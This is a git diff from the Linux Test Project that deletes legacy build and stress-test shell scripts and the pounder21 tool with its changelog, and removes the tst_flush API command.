-[ -d "$srcdir" -a ! -d "$tmp_destdir/$tmp_prefix" ]
-# 3. Configure.
-configure "$srcdir" "$srcdir" "$tmp_prefix"
-# 4. -->> Compile in-build-tree. <<--
-build "$srcdir" "$srcdir"
-# 5. -->> Install out-of-build-tree. <<--
-install_ltp "$srcdir" "$srcdir" "$tmp_destdir"
-# 6. Test.
-test_ltp "$("$abspath" "$tmp_destdir/$tmp_prefix")"
-# 7. Post-test clean sanity.
-# i.   Is srcdir still there (should be)?
-# ii.  Is $DESTDIR/$prefix there (shouldn't be)?
-clean_is_sane "$srcdir" "$srcdir" "$("$abspath" "$tmp_destdir/$tmp_prefix")"
-[ -d "$srcdir" -a ! -d "$tmp_destdir/$tmp_prefix" ]
diff --git a/testscripts/build/test_out_of_build_tree.sh b/testscripts/build/test_out_of_build_tree.sh
deleted file mode 100755
index 4223b90..0000000
--- a/testscripts/build/test_out_of_build_tree.sh
+++ /dev/null
@@ -1,51 +0,0 @@
-#!/bin/sh
-#
-#    out-of-build-tree script.
-#
-#    Copyright (C) 2010, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Ngie Cooper, January 2010
-
-export PATH="${0%/*}:$PATH"
-
-set -e
-. build_test_function.sh
-
-# 0. Setup the environment.
-setup_env "Build out of build tree"
-# 1. Pull the SCM.
-pull_scm git "$tmp_srcdir"
-# 2. Pre-configure clean sanity.
-# i.   Is srcdir still there (should be)?
-# ii.  Is builddir there (shouldn't be)?
-# iii. Is $DESTDIR/$prefix there (shouldn't be)?
-clean_is_sane "$srcdir" "$tmp_builddir" "$("$abspath" "$tmp_destdir/$tmp_prefix")"
-[ -d "$srcdir" -a ! -d "$tmp_builddir" -a ! -d "$tmp_destdir/$tmp_prefix" ]
-# 3. Configure.
-configure "$srcdir" "$tmp_builddir" "$tmp_prefix"
-# 4. -->> Compile out-of-build-tree. <<--
-build "$srcdir" "$tmp_builddir"
-# 5. Install.
-install_ltp "$srcdir" "$tmp_builddir" "$tmp_destdir"
-# 6. Test.
-test_ltp "$("$abspath" "$tmp_destdir/$tmp_prefix")"
-# 7. Post-test clean sanity.
-# i.   Is srcdir still there (should be)?
-# ii.  Is builddir there (shouldn't be)?
-# iii. Is $DESTDIR/$prefix there (shouldn't be)?
-clean_is_sane "$srcdir" "$tmp_builddir" "$("$abspath" "$tmp_destdir/$tmp_prefix")"
-[ -d "$srcdir" -a ! -d "$tmp_builddir" -a ! -d "$tmp_destdir/$tmp_prefix" ]
diff --git a/testscripts/ltpstress.sh b/testscripts/ltpstress.sh
deleted file mode 100755
index cd041b1..0000000
--- a/testscripts/ltpstress.sh
+++ /dev/null
@@ -1,349 +0,0 @@
-#!/bin/sh
-
-#    Copyright (c) International Business Machines  Corp., 2003
-#
-#    This program is free software;  you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#    the GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License
-#    along with this program;  if not, write to the Free Software
-#    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-#   FILE        : ltpstress.sh
-#   DESCRIPTION : A script that will stress your system using the LTP testsuite.
-#   REQUIREMENTS:
-#                 1) The 'rsh' daemon must be running and NFS (versions 2 &3) must be
-#                    configured into the kernel and installed for networking tests.
-#		  2) The 'sar' application must be installed to use the "-S" option
-#   HISTORY     :
-#       02/11/2003 Robbie Williamson (robbiew@austin.ibm.com)
-#               written
-#	11/20/2008 Aime Le Rouzic (aime.lerouzic@bull.net)
-#		adapt script to work with portmap and rpcbind
-##############################################################
-
-export LTPROOT=${PWD}
-echo $LTPROOT | grep testscripts > /dev/null 2>&1
-if [ $? -eq 0 ]; then
- cd ..
- export LTPROOT=${PWD}
-fi
-export TMPBASE="/tmp"
-export PATH=$LTPROOT/testcases/bin:$PATH
-memsize=0
-hours=24
-PROC_NUM=0
-leftover_memsize=0
-duration=86400
-datafile="/tmp/ltpstress.data"
-iofile="/tmp/ltpstress.iodata"
-logfile="/tmp/ltpstress.log"
-interval=10
-Sar=0
-Top=0
-Iostat=0
-LOGGING=0
-PRETTY_PRT=""
-QUIET_MODE=""
-NO_NETWORK=0
-
-usage()
-{
-
-	cat <<-END >&2
-    usage: ${0##*/} [ -d datafile ] [ -i # (in seconds) ] [ -I iofile ] [ -l logfile ] [ -m # (in Mb) ]
-    [ -n ] [ -p ] [ -q ] [ -t duration ] [ -x TMPDIR ] [-b DEVICE] [-B LTP_DEV_FS_TYPE] [ [-S]|[-T] ]
-
-    -d datafile     Data file for 'sar' or 'top' to log to. Default is "/tmp/ltpstress.data".
-    -i # (in sec)   Interval that 'sar' or 'top' should take snapshots. Default is 10 seconds.
-    -I iofile       Log results of 'iostat' to a file every interval. Default is "/tmp/ltpstress.iodata".
-    -l logfile      Log results of test in a logfile. Default is "/tmp/ltpstress.log"
-    -m # (in Mb)    Specify the _minimum_ memory load of # megabytes in background. Default is all the RAM + 1/2 swap.
-    -n              Disable networking stress.
-    -p              Human readable format logfiles.
-    -q              Print less verbose output to the output files.
-    -S              Use 'sar' to measure data.
-    -T              Use LTP's modified 'top' tool to measure data.
-    -t duration     Execute the testsuite for given duration in hours. Default is 24.
-    -x TMPDIR       Directory where temporary files will be created.
-    -b DEVICE       Some tests require an unmounted block device
-                    to run correctly. If DEVICE is not set, a loop device is
-                    created and used automatically.
-    -B LTP_DEV_FS_TYPE The file system of DEVICE.
-
-	example: ${0##*/} -d /tmp/sardata -l /tmp/ltplog.$$ -m 128 -t 24 -S
-	END
-exit
-}
-
-check_memsize()
-{
-  while [ $memsize -gt 1048576 ]   #if greater than 1GB
-  do
-    PROC_NUM=$(( PROC_NUM + 1 ))
-    memsize=$(( $memsize - 1048576 ))
-  done
-  leftover_memsize=$memsize
-}
-
-while getopts d:hi:I:l:STt:m:npqx:b:B:\? arg
-do  case $arg in
-
-	d)	datafile="$OPTARG";;
-
-        h)      echo "Help info:"
-		usage;;
-
-	i)	interval=$OPTARG;;
-
-	I)	Iostat=1
-		iofile=$OPTARG;;
-
-        l)      logfile=$OPTARG
-		LOGGING=1;;
-
-        m)	memsize=$(($OPTARG * 1024))
-		check_memsize;;
-
-	n)	NO_NETWORK=1;;
-
-	p)	PRETTY_PRT=" -p ";;
-
-	q)	QUIET_MODE=" -q ";;
-
-        S)      if [ $Top -eq 0 ]; then
-                  Sar=1
-                else
-                  echo "Cannot specify -S and -T...exiting"
-                  exit
-                fi;;
-
-	T)	if [ $Sar -eq 0 ]; then
-                  $LTPROOT/testcases/bin/top -h 2>&1 | grep "\-f filename" >/dev/null
-		  if [ $? -eq 0 ]; then
-                    Top=1
-                  else
-		    echo "ERROR: Please build and install the version of top in the /tools dir"
-		    exit
- 		  fi
-                else
-                  echo "Cannot specify -S and -T...exiting"
-                  exit
-                fi;;
-
-        t)      hours=$OPTARG
-		duration=$(($hours * 60 * 60));;
-
-	x)	export TMPBASE=$(readlink -f ${OPTARG});;
-
-	b)	export LTP_DEV=${OPTARG};;
-
-	B)	export LTP_DEV_FS_TYPE=${OPTARG};;
-
-        \?)     echo "Help info:"
-		usage;;
-        esac
-done
-
-export TMP="${TMPBASE}/ltpstress-$$"
-export TMPDIR=${TMP}
-mkdir -p ${TMP}
-
-# to write as user nobody into tst_tmpdir()
-chmod 777 $TMP || \
-{
-	echo "unable to chmod 777 $TMP ... aborting"
-	exit 1
-}
-
-cd $TMP || \
-{
-	echo "could not cd ${TMP} ... exiting"
-	exit 1
-}
-
-if [ $NO_NETWORK -eq 0 ];then
-  # Networking setup
-  echo `hostname` >> /root/.rhosts
-  chmod 644 /root/.rhosts
-
-  netstat -an | grep 514
-  if [ $? -eq 1 ];then
-    echo "Error: 'rsh' daemon not active on this machine."
-    exit 1
-  fi
-
-  ps -ef | grep portmap | grep -v grep
-  if [ $? -eq 1 ];then
-    ps -ef | grep rpcbind | grep -v grep
-    if [ $? -eq 1 ];then
-      echo "Portmap and rpcbind not running"
-      echo "Let's start portmap"
-      /sbin/portmap &
-      sleep 1
-      ps -ef | grep portmap | grep -v grep
-      if [ $? -eq 1 ];then
-        echo "Could not start portmap, Let's start rpcbind"
-        /sbin/rpcbind &
-        sleep 1
-        ps -ef | grep rpcbind | grep -v grep
-        if [ $? -eq 1 ];then
-          Echo "Error: Could not start rpcbind daemon."
-          exit 1
-        else
-          echo "The RPC test suite is using rpcbind"
-        fi
-      else
-	echo "The RPC test suite is using portmap"
-      fi
-    else
-      echo "The RPC test suite is using rpcbind"
-    fi
-  else
-    echo "The RPC test suite is using portmap"
-  fi
-
-  ps -e | grep nfsd
-  if [ $? -eq 1 ];then
-    /usr/sbin/rpc.nfsd
-  fi
-  sleep 1
-  ps -e | grep nfsd
-  if [ $? -eq 1 ];then
-    echo "Error: Could not start nfs server daemon."
-    exit 1
-  fi
-
-  ps -e | grep rpc.statd
-  if [ $? -eq 1 ];then
-    /sbin/rpc.statd
-  fi
-  sleep 1
-  ps -e | grep rpc.statd
-  if [ $? -eq 1 ];then
-    echo "Error: Could not start statd daemon."
-    exit 1
-  fi
-
-  ps -e | grep rpc.mountd
-  if [ $? -eq 1 ];then
-    /usr/sbin/rpc.mountd
-  fi
-  sleep 1
-  ps -e | grep rpc.mountd
-  if [ $? -eq 1 ];then
-    echo "Error: Could not start mountd daemon."
-    exit 1
-  fi
-  # End of network setup
-fi
-
-#If -m not set, use all the RAM + 1/2 swapspace
-if [ $memsize -eq 0 ]; then
-  TOTALRAM=$(free -m | grep Mem: | awk {'print $2'})
-  TOTALSWAP=$(free -m | grep Swap: | awk {'print $2'})
-  TESTSWAP=$(($TOTALSWAP / 2))
-  if [ $TESTSWAP -eq 0 ]; then
-       #if there is no swap in the system, use only the free RAM
-       TESTMEM=$(free -m | grep Mem: | awk {'print $4'})
-  else
-       TESTMEM=$(($TESTSWAP + $TOTALRAM))
-  fi
- #Convert to kilobytes
-  memsize=$(($TESTMEM * 1024))
-  check_memsize
-fi
-
-# Set max processes to unlimited.
-ulimit -u unlimited
-
-if [ $PROC_NUM -gt 0 ];then
-  genload --vm $PROC_NUM --vm-bytes 1073741824 >/dev/null 2>&1 &
-fi
-if [ $leftover_memsize -gt 0 ];then
-  genload --vm 1 --vm-bytes $(($leftover_memsize * 1024)) >/dev/null 2>&1 &
-fi
-
-sort -R ${LTPROOT}/runtest/stress.part1 -o ${TMP}/stress.part1
-sort -R ${LTPROOT}/runtest/stress.part2 -o ${TMP}/stress.part2
-sort -R ${LTPROOT}/runtest/stress.part3 -o ${TMP}/stress.part3
-
-sleep 2
-
-if [ $Sar -eq 1 ]; then
-  sar -o $datafile $interval > /dev/null &
-fi
-
-if [ $Top -eq 1 ]; then
-  screen -d -m $LTPROOT/testcases/bin/top -o $datafile -d $interval &
-  SCREEN_PID=$(ps -e | grep screen | awk {'print $1'})
-fi
-
-sleep 2
-
-if [ $Iostat -eq 1 ]; then
-  while [ 0 = 0 ];do iostat -dt >> $iofile; sleep $interval;done &
-  Iostat_PID=$?
-fi
-
-sleep 2
-
-output1=${TMPBASE}/ltpstress.$$.output1
-output2=${TMPBASE}/ltpstress.$$.output2
-output3=${TMPBASE}/ltpstress.$$.output3
-
-${LTPROOT}/bin/ltp-pan -e ${PRETTY_PRT} ${QUIET_MODE} -S -t ${hours}h -a stress1 -n stress1 -l $logfile -f ${TMP}/stress.part1 -o $output1 &
-${LTPROOT}/bin/ltp-pan -e ${PRETTY_PRT} ${QUIET_MODE} -S -t ${hours}h -a stress2 -n stress2 -l $logfile -f ${TMP}/stress.part2 -o $output2 &
-${LTPROOT}/bin/ltp-pan -e ${PRETTY_PRT} ${QUIET_MODE} -S -t ${hours}h -a stress3 -n stress3 -l $logfile -f ${TMP}/stress.part3 -o $output3 &
-
-echo "Running LTP Stress for $hours hour(s) using $(($memsize/1024)) Mb"
-echo ""
-echo "Test output recorded in:"
-echo "        $output1"
-echo "        $output2"
-echo "        $output3"
-
-# Sleep a little longer than duration to let ltp-pan "try" to gracefully end itself.
-sleep $(($duration + 10))
-
-if [ $Sar -eq 1 ]; then
-  killall -9 sadc >/dev/null 2>&1
-fi
-if [ $Top -eq 1 ]; then
-  kill $SCREEN_PID >/dev/null 2>&1
-fi
-killall -9 ltp-pan >/dev/null 2>&1
-killall -9 genload >/dev/null 2>&1
-if [ $NO_NETWORK -eq 0 ];then
-  killall -9 NPtcp >/dev/null 2>&1
-fi
-if [ $Iostat -eq 1 ];then
-  kill -9 $Iostat_PID >/dev/null 2>&1
-fi
-rm -rf ${TMP}
-echo "Testing done"
-if [ $LOGGING -eq 1 ];then
-  if [ ! -z $PRETTY_PRT ]; then
-    grep FAIL $logfile > /dev/null 2>&1
-  else
-    grep 'stat=' $logfile | grep -v 'stat=0' > /dev/null 2>&1
-  fi
-
-  if [ $? -eq 1 ]; then
-    echo "All Tests PASSED!"
-  else
-    echo "Testing yielded failures. See logfile: $logfile"
-    if [ $NO_NETWORK -eq 1 ];then
-      echo "The NFS related tests should fail because network stress was disabled"
-    fi
-  fi
-fi
-
-
diff --git a/testscripts/network.sh b/testscripts/network.sh
index eb991b6..78257d8 100755
--- a/testscripts/network.sh
+++ b/testscripts/network.sh
@@ -84,16 +84,14 @@
 	usage
 	exit 1
 fi
+shift $(($OPTIND - 1))
 
-TST_TOTAL=1
-TCID="network_settings"
-
-. test_net.sh
+TST_NO_DEFAULT_RUN=1
+. tst_net.sh
 
 # Reset variables.
 # Don't break the tests which are using 'testcases/lib/cmdlib.sh'
-export TCID=
-export TST_LIB_LOADED=
+unset TST_ID TST_LIB_LOADED TST_NO_DEFAULT_RUN
 
 rm -f $CMDFILE
 
@@ -123,3 +121,5 @@
 else
 	echo ltp-pan reported FAIL
 fi
+
+rm -rf $TMPDIR
diff --git a/testscripts/runEALtests.sh b/testscripts/runEALtests.sh
deleted file mode 100755
index 810dc47..0000000
--- a/testscripts/runEALtests.sh
+++ /dev/null
@@ -1,235 +0,0 @@
-#!/bin/bash
-
-
-#
-#  07/10/02 - Jeff Martin - martinjn@us.ibm.com: Added instance and
-#                           time command line options
-#
-#  12/15/02 - Manoj Iyer  - manjo@mail.utexas.edu: Added options to run
-#                           LTP under CPU, IO and MM load.
-#
-#  01/26/03 - Manoj Iyer  - manjo@mail.utexas.edu: Added -f option; Execute
-#                           user defined set of testcases.
-#
-#  01/27/03 - Manoj Iyer  - manjo@mail.utexas.edu: Enabled formatted printing
-#                           of logfiles.
-#
-#  01/28/03 - Manoj Iyer  - manjo@mail.utexas.edu: added option to enable
-#                           formatted printing of logfiles.
-#
-#  01/29/03 - Manoj Iyer  - manjo@mail.utexas.edu: merged networktests.sh with
-#                           this script, added the -n option to run these
-#                           tests. Also, added -h option to print help messages.
-#
-#  01/29/03 - Manoj Iyer  - manjo@mail.utexas.edu:
-#                           added code to cause pan to print less verbose
-#                           output.
-#  02/01/03 - Manoj Iyer  - manjo@mail.utexas.edu: Removed variables
-#                           initialization of RHOST and PASSWD.
-#
-#  02/05/03 - Robbie Williamson - Added configurability to the optional load
-#                                 generator sections.  Also added network traffic
-#				  option.
-#
-
-cd `dirname $0`
-export LTPROOT=${PWD}
-export TMPBASE="/tmp"
-export TMP="${TMPBASE}/runalltests-$$"
-export PATH="${PATH}:${LTPROOT}/../testcases/bin"
-cmdfile=""
-pretty_prt=" "
-alt_dir=0
-run_netest=0
-quiet_mode=" "
-NetPipe=0
-GenLoad=0
-
-usage()
-{
-	cat <<-END >&2
-    usage: ./${0##*/} -c [-d tmpdir] [-f cmdfile ] [-i # (in Mb)] [ -l logfile ]
-                  [ -m # (in Mb)] -N -n -q [ -r ltproot ] [ -t duration ] [ -x instances ]
-
-    -c              Run LTP under additional background CPU load.
-    -d tmpdir       Directory where temporary files will be created.
-    -f cmdfile      Execute user defined list of testcases.
-    -h              Help. Prints all available options.
-    -i # (in Mb)    Run LTP with a _minimum_ IO load of # megabytes in background.
-    -l logfile      Log results of test in a logfile.
-    -m # (in Mb)    Run LTP with a _minimum_ memory load of # megabytes in background.
-    -N              Run all the networking tests.
-                    (export RHOST = remote hostname)
-                    (export PASSWD = passwd of remote host)
-    -n              Run LTP with network traffic in background.
-    -p              Human readable format logfiles.
-    -q              Print less verbose output to screen.
-    -r ltproot      Fully qualified path where testsuite is installed.
-    -t duration     Execute the testsuite for given duration in hours.
-    -x instances    Run multiple instances of this testsuite.
-
-    example: ./${0##*/} -i 1024 -m 128 -p -q  -l /tmp/resultlog.$$ -d ${PWD}
-	END
-exit
-}
-
-mkdir -p ${TMP}
-
-cd ${TMP}
-if [ $? -ne 0 ]; then
-  echo "could not cd ${TMP} ... exiting"
-  exit
-fi
-
-while getopts cd:f:hi:l:m:Npqr:t:x arg
-do  case $arg in
-    c)
-            $LTPROOT/../testcases/bin/genload --cpu 1 >/dev/null 2>&1 &
-	    GenLoad=1 ;;
-
-    d)      # append $$ to TMP, as it is recursively
-            # removed at end of script.
-            TMPBASE=$OPTARG;;
-    f)        # Execute user defined set of testcases.
-            cmdfile=$OPTARG;;
-
-    h)	    usage;;
-
-    i)
-            bytesize=$(($OPTARG * 1024 * 1024))
-            $LTPROOT/../testcases/bin/genload --io 1 >/dev/null 2>&1 &
-            $LTPROOT/../testcases/bin/genload --hdd 0 --hdd-bytes $bytesize \
-            >/dev/null 2>&1 &
-	    GenLoad=1 ;;
-
-    l)
-            if [ ${OPTARG:0:1} != "/" ]
-			then
-				if [ -d $LTPROOT/results ]
-				then
-					logfile="-l $LTPROOT/results/$OPTARG"
-				else
-					mkdir -p $LTPROOT/results
-					if [ $? -ne 0 ]
-					then
-						echo "ERROR: failed to create $LTPROOT/results"
-						exit 1
-					fi
-					logfile="-l $LTPROOT/results/$OPTARG"
-				fi
-				alt_dir=1
-            else
-				logfile="-l $OPTARG"
-			fi ;;
-
-    m)
-            memsize=$(($OPTARG * 1024 * 1024))
-	    $LTPROOT/../testcases/bin/genload  --vm 0 --vm-bytes $memsize\
-            >/dev/null 2>&1 &
-	    GenLoad=1;;
-
-    N)	    run_netest=1;;
-
-    p)      pretty_prt=" -p ";;
-
-    q)      quiet_mode=" -q ";;
-
-    r)      LTPROOT=$OPTARG;;
-
-    t)      # In case you want to specify the time
-            # to run from the command line
-            # (2m = two minutes, 2h = two hours, etc)
-            duration="-t $OPTARG" ;;
-
-    x)      # number of ltp's to run
-            instances="-x $OPTARG";;
-
-    \?)     usage;;
-    esac
-done
-
-if [ -z $PASSWD ]
-then
-	echo " "
-	echo "ERROR:"
-	echo "Please export enviroment variable PASSWD"
-	echo "INFO: export PASSWD = 'root's password'"
-    exit 1
-fi
-
-#if [ $run_netest -eq 1 ]
-#then
-#	if [[ -z $RHOST || -z $PASSWD ]]
-#	then
-#		echo " "
-#		echo " "
-#		echo "ERROR: Initializing networking tests."
-#		echo "INFO: Please export RHOST = 'name of the remote host machine'"
-#		echo "INFO: Please export PASSWD = 'passwd of the remote host machine'"
-#		echo "INFO: before running the networking tests."
-#		echo " "
-#		echo " "
-#		echo " "
-#		usage
-#	fi
-#fi
-
-if [ -n "$instances" ]; then
-  instances="$instances -O ${TMP}"
-fi
-
-
-# If user does not provide a command file select a default set of testcases
-# to execute.
-if [ -z $cmdfile ]
-then
-	cat ${LTPROOT}/../runtest/admin_tools > ${TMP}/alltests
-else
-    cat $cmdfile > ${TMP}/alltests
-fi
-
-if [ $run_netest -eq 1 ]
-then
-	cat ${LTPROOT}/../runtest/network_commands >> ${TMP}/alltests
-fi
-
-# The fsx-linux tests use the SCRATCHDEV environment variable as a location
-# that can be reformatted and run on.  Set SCRATCHDEV if you want to run
-# these tests.  As a safeguard, this is disabled.
-unset SCRATCHDEV
-if [ -n "$SCRATCHDEV" ]; then
-  cat ${LTPROOT}/../runtest/fsx >> ${TMP}/alltests
-fi
-
-# display versions of installed software
-${LTPROOT}/../ver_linux
-
-${LTPROOT}/../bin/ltp-pan $quiet_mode -e -S $instances $duration -a $$ -n $$ $pretty_prt -f ${TMP}/alltests $logfile
-
-if [ $? -eq 0 ]; then
-  echo ltp-pan reported PASS
-else
-  echo ltp-pan reported FAIL
-fi
-
-if [ $GenLoad -eq 1 ]
-then
-	killall -9 genload >/dev/null 2>&1
-fi
-
-if [ $NetPipe -eq 1 ]
-then
-	killall -9 NPtcp
-fi
-
-if [ $alt_dir -eq 1 ]
-then
-	echo " "
-	echo "###############################################################"
-	echo " "
-	echo " result log is in the $LTPROOT/results directory"
-	echo " "
-	echo "###############################################################"
-	echo " "
-fi
-rm -rf ${TMP}
diff --git a/tools/Makefile b/tools/Makefile
index 53bc8ef..def1c6f 100644
--- a/tools/Makefile
+++ b/tools/Makefile
@@ -24,8 +24,6 @@
 
 include $(top_srcdir)/include/mk/testcases.mk
 
-FILTER_OUT_DIRS		:= pounder21
-
 INSTALL_TARGETS		:= *.awk *.pl *.sh html_report_header.txt
 
 INSTALL_DIR		:= bin
diff --git a/tools/apicmds/.gitignore b/tools/apicmds/.gitignore
index e57a38c..a9ca9ec 100644
--- a/tools/apicmds/.gitignore
+++ b/tools/apicmds/.gitignore
@@ -1,7 +1,6 @@
 tst_brk
 tst_brkm
 tst_exit
-tst_flush
 tst_get_unused_port
 tst_ncpus
 tst_ncpus_conf
diff --git a/tools/apicmds/Makefile b/tools/apicmds/Makefile
index 6c35ab5..11763e2 100644
--- a/tools/apicmds/Makefile
+++ b/tools/apicmds/Makefile
@@ -26,7 +26,7 @@
 
 CPPFLAGS		+= -D_GNU_SOURCE
 
-MAKE_TARGETS		:= $(addprefix tst_,brk brkm exit flush \
+MAKE_TARGETS		:= $(addprefix tst_,brk brkm exit \
 			     res resm ncpus ncpus_conf ncpus_max \
 			     get_unused_port fs_has_free)
 
diff --git a/tools/apicmds/ltpapicmd.c b/tools/apicmds/ltpapicmd.c
index 9ad68b5..4b66c42 100644
--- a/tools/apicmds/ltpapicmd.c
+++ b/tools/apicmds/ltpapicmd.c
@@ -34,8 +34,6 @@
  *                          break remaining test cases
  *              tst_res   - Print result message, including file contents
  *              tst_resm  - Print result message
- *              tst_flush - Print any messages pending because of CONDENSE mode,
- *                          and flush output stream
  *              tst_exit  - Exit test with a meaningful exit value
  *
  *              These are the minimum set of functions or commands required to
@@ -332,8 +330,6 @@
 		apicmd_resm(argc, argv);
 	} else if (strcmp(cmd_name, "tst_exit") == 0) {
 		tst_exit();
-	} else if (strcmp(cmd_name, "tst_flush") == 0) {
-		tst_flush();
 	} else if (strcmp(cmd_name, "tst_ncpus") == 0) {
 		printf("%li\n", tst_ncpus());
 	} else if (strcmp(cmd_name, "tst_ncpus_conf") == 0) {
diff --git a/tools/pounder21/CHANGELOG b/tools/pounder21/CHANGELOG
deleted file mode 100644
index b5296d2..0000000
--- a/tools/pounder21/CHANGELOG
+++ /dev/null
@@ -1,241 +0,0 @@
-This is a log of changes to pounder21.
-
-pounder30-2011-08-09
-- Created new documentation CONFIGURATION and moved it and SCHEDULER
-  into a newly created doc/ directory
-- Deleted the test-all test scheduler
-- Created /schedulers directory and moved the remaining test schedulers there
-- Removed option to specify "NONE" when asked to unpack test scheduler during build
-- Removed check for existing kernel directory in /tmp in test_scripts/build_kernel
-  since it appears that some files get lost after running build_kernel once; Instead
-  just untar the kernel each time we run the test script to be on the safe side
-- ltp test script would pass even if it didn't build currently, fixed this in
-  test_scripts/ltp
-- changed ltp build_script to install ltp to $POUNDER_TMPDIR
-- removed QUICKSTART and included it in README instead
-- removed trailing "/" from POUNDER_LOGLOCAL export in libpounder.sh
-- Added functionality for automatic skipping of subtests (see README)
-- Created xterm_stress build script and merged 00xbonkers with it
-- Created ide_cdrom_copy build script and merged 00check_cdrom_presence with it
-- Merged nasm and schedutils build scripts with the lame build script
-- Merged time_test build script with the time_consistency and time_drift build
-  scripts
-- Created test_repo/ directory
-- Uncommented a piece of code in time_drift that allowed it to always pass
-- Added pounder -c option for creating new test schedulers
-- Modified POUNDER_VERSION in libpounder.sh
-
-pounder30-2011-07-21
-- Updated bonnie++, ipmitool, kernel (used in build_kernel), and memtest script to latest versions
-- Updated memtest build scripts and $POUNDER_HOME/src/memtest.patch
-- Added functionality for skipping of subtests
-  - Added functionality for automating the skipping of subtests (see README)
-- Removed unnecessary 00checklatest test
-- Moved checking for system requirements from test run to build phase
-  - Affects bonnie++, memtest, cpufreq, and ide_cdrom_copy
-- Added environment variable MAX_FAILURES that, if defined, sets
-  an upper bound on the number of failures a looped test will allow
-  before aborting the test altogether (see SCHEDULER)
-- Added functionality for removing and re-adding subtests to the test scheduler (see SCHEDULER)
-- Updated README, SCHEDULER, and config files
-
-pounder21-2011-04-08:
-- LTP: Updated to LTP 20101031 release.
-- Build kernel testcase - Updated kernel from 2.6.18 to 2.6.38.
-- Updated 2.6.38 kernel source tar in pounder cache.
-- Did corresponding kernel changes i.e for 2.6.38 in "memtest" testcase too.
-- Files modified are:-
-  -$POUNDER_HOME/test_scripts/memtest.
-  -$POUNDER_HOME/test_scripts/build_kernel .
-  -$POUNDER_HOME/build_scripts/memtest.
-  -$POUNDER_HOME/build_scripts/build_kernel.
-  -$POUNDER_HOME/opt/memtest.sh. [Actually this file need to get changed in tux1 cache].
-
-pounder21-2011-04-12
--Integrated bash-memory testcase in pounder21
--Files added/modified are:-
- -Copied bash-memory test case tar to pounder cache.
- -Added file $POUNDER_HOME/build_scripts/bash-memory
- -Added file $POUNDER_HOME/test_scripts/bash_memory
- -Added file $POUNDER_HOME/tests/T10single/T03bashmemory
-
-pounder21-2006-11-07:
-- Fix a bug in randasys on x86-64 where we had insufficient random bits and
-  would truncate whatever we got, leading to all 0 arguments by simply
-  generating enough random bytes to fill an unsigned long.  Also add a -z
-  switch to enable this zero-only mode because it found some bugs.  :)
-
-pounder21-2006-10-12:
-- Include /sysfs contents in the hw inventory
-- Put 'lspci' into the PCI inventory for easy finding.
-
-pounder21-2006-09-23:
-- Various time test fixes from jstultz.
-- IPMI tests from James Simshaw/Carol Hebert.
-- Update kernel from 2.6.15 to 2.6.18.
-
-pounder21-2006-01-24:
-- Establish all files in the tarball as originating from IBM LTC.
-- License all files under the GNU Public License (GPL) v2.
-- Install: Make USE_CACHE=0 if the pounder cache dir is not set.
-- Makefile: distclean -> mrclean for more GNUness.
-- nfs_logging: Clarify some of the documentation, and use TCP NFS mounts.
-- 00checklatest: Handle leading zeroes in date components.
-- build_kernel: Update to kernel 2.6.15.
-- ltp: Update to 20060105 release.
-- memtest: Update to kernel 2.6.15.
-- cpufreq: Report the return code in the log, and kill cpufreq programs
-  when it's time to terminate.
-- randasyscall: Add -Wall to CFLAGS and fix warnings.  Also add -d option
-  to log every call made.  NOTE: That may affect race conditions exposed
-  by this program!
-- drift_test: Only set system time from NTP source if -s option is passed
-  (John Stultz)
-- inconsistency_check: Use CLOCK_MONOTONIC if available (John Stultz)
-- nfs test: Use TCP NFS connections.
-- copytree: Diff source and dest before deletion.
-
-pounder21-2005-12-02:
-- Make CHANGELOG reflect the CVS history.
-- pounder: Make the -d switch (total test duration) work again.
-- check_cdrom_presence: Remove unnecessary variable.
-- build_kernel: Update kernel to 2.6.14.3.
-- libidecd.sh: Grep for "^$DEV[<space><tab>]" so that we ONLY look for
-  full device names in the first columns.  Also update documentation to
-  reflect the code intent better.
-- memtest: Update kernel to 2.6.14.3.
-- time_tests: New code from John:
-  o Use CLOCK_MONOTONIC (calls to settimeofday won't affect this)
-  o Takes an argument to run for a set number of seconds(nothing or -1 ==
-    run forever)
-  o Exits if any time inconsistency is found.
-  o Outputs the delta size of the inconsistency found
-- mem_alloc: Only run every 15min.  Constantly being OOM is annoying.
-- nfs: Better status printing during cleanup.
-- random_syscall: Put the program in /tmp again.
-
-pounder21-2005-11-18:
-- Install: Check for g++ and lex.
-- statslogging: Copy README to the log dir to capture version and
-  relevant notes.
-- randasys: Use $POUNDER_TMPDIR, not /tmp, and use quotes with
-  variable expansions.  Also forbid calling settimeofday(2).
-- checklatest: Be more intelligent about figuring out the version
-  number--if what we're running is newer than what's on the server,
-  that's fine.  We're probably just running a development version.
-- cpufreq: This is a new test that detects the presence of speedstep,
-  powernow, or whatever other CPU frequency changing mechanisms are
-  in place.  If present, it will cycle the CPUs through all power
-  state changes in arbitrary order.  It's also clever enough to find
-  and ignore CPUs whose frequency is tied to another processor.
-- pounder: Fix argument passing so that -l switch works.  Added -s
-  switch to disable NFS logging.
-- nfs_logging: Move variable definitions into libpounder.sh and flatten
-  the function calls into a more procedural script.
-- ide_cdrom_copy: Total rewrite of this script: The old script did not
-  detect SCSI CD-ROM drives at all unless /dev/cdrom was set up properly
-  (this is not the case if you netinstall RHEL4 on a blade with the
-  media tray disconnected) and it did not deal with multiple optical
-  drives at all.  This new one creates a list of potential CD/DVD
-  devices and tries to mount each of them; each drive that has a disc
-  inserted is then queued up for testing.  Also, the actual device
-  detection code is in src/libidecd.sh so that the 00check_cdrom script
-  can take advantage of it.
-- 00check_cdrom: Rewritten to use libidecd.sh; if no discs are found,
-  all drive trays are ejected.
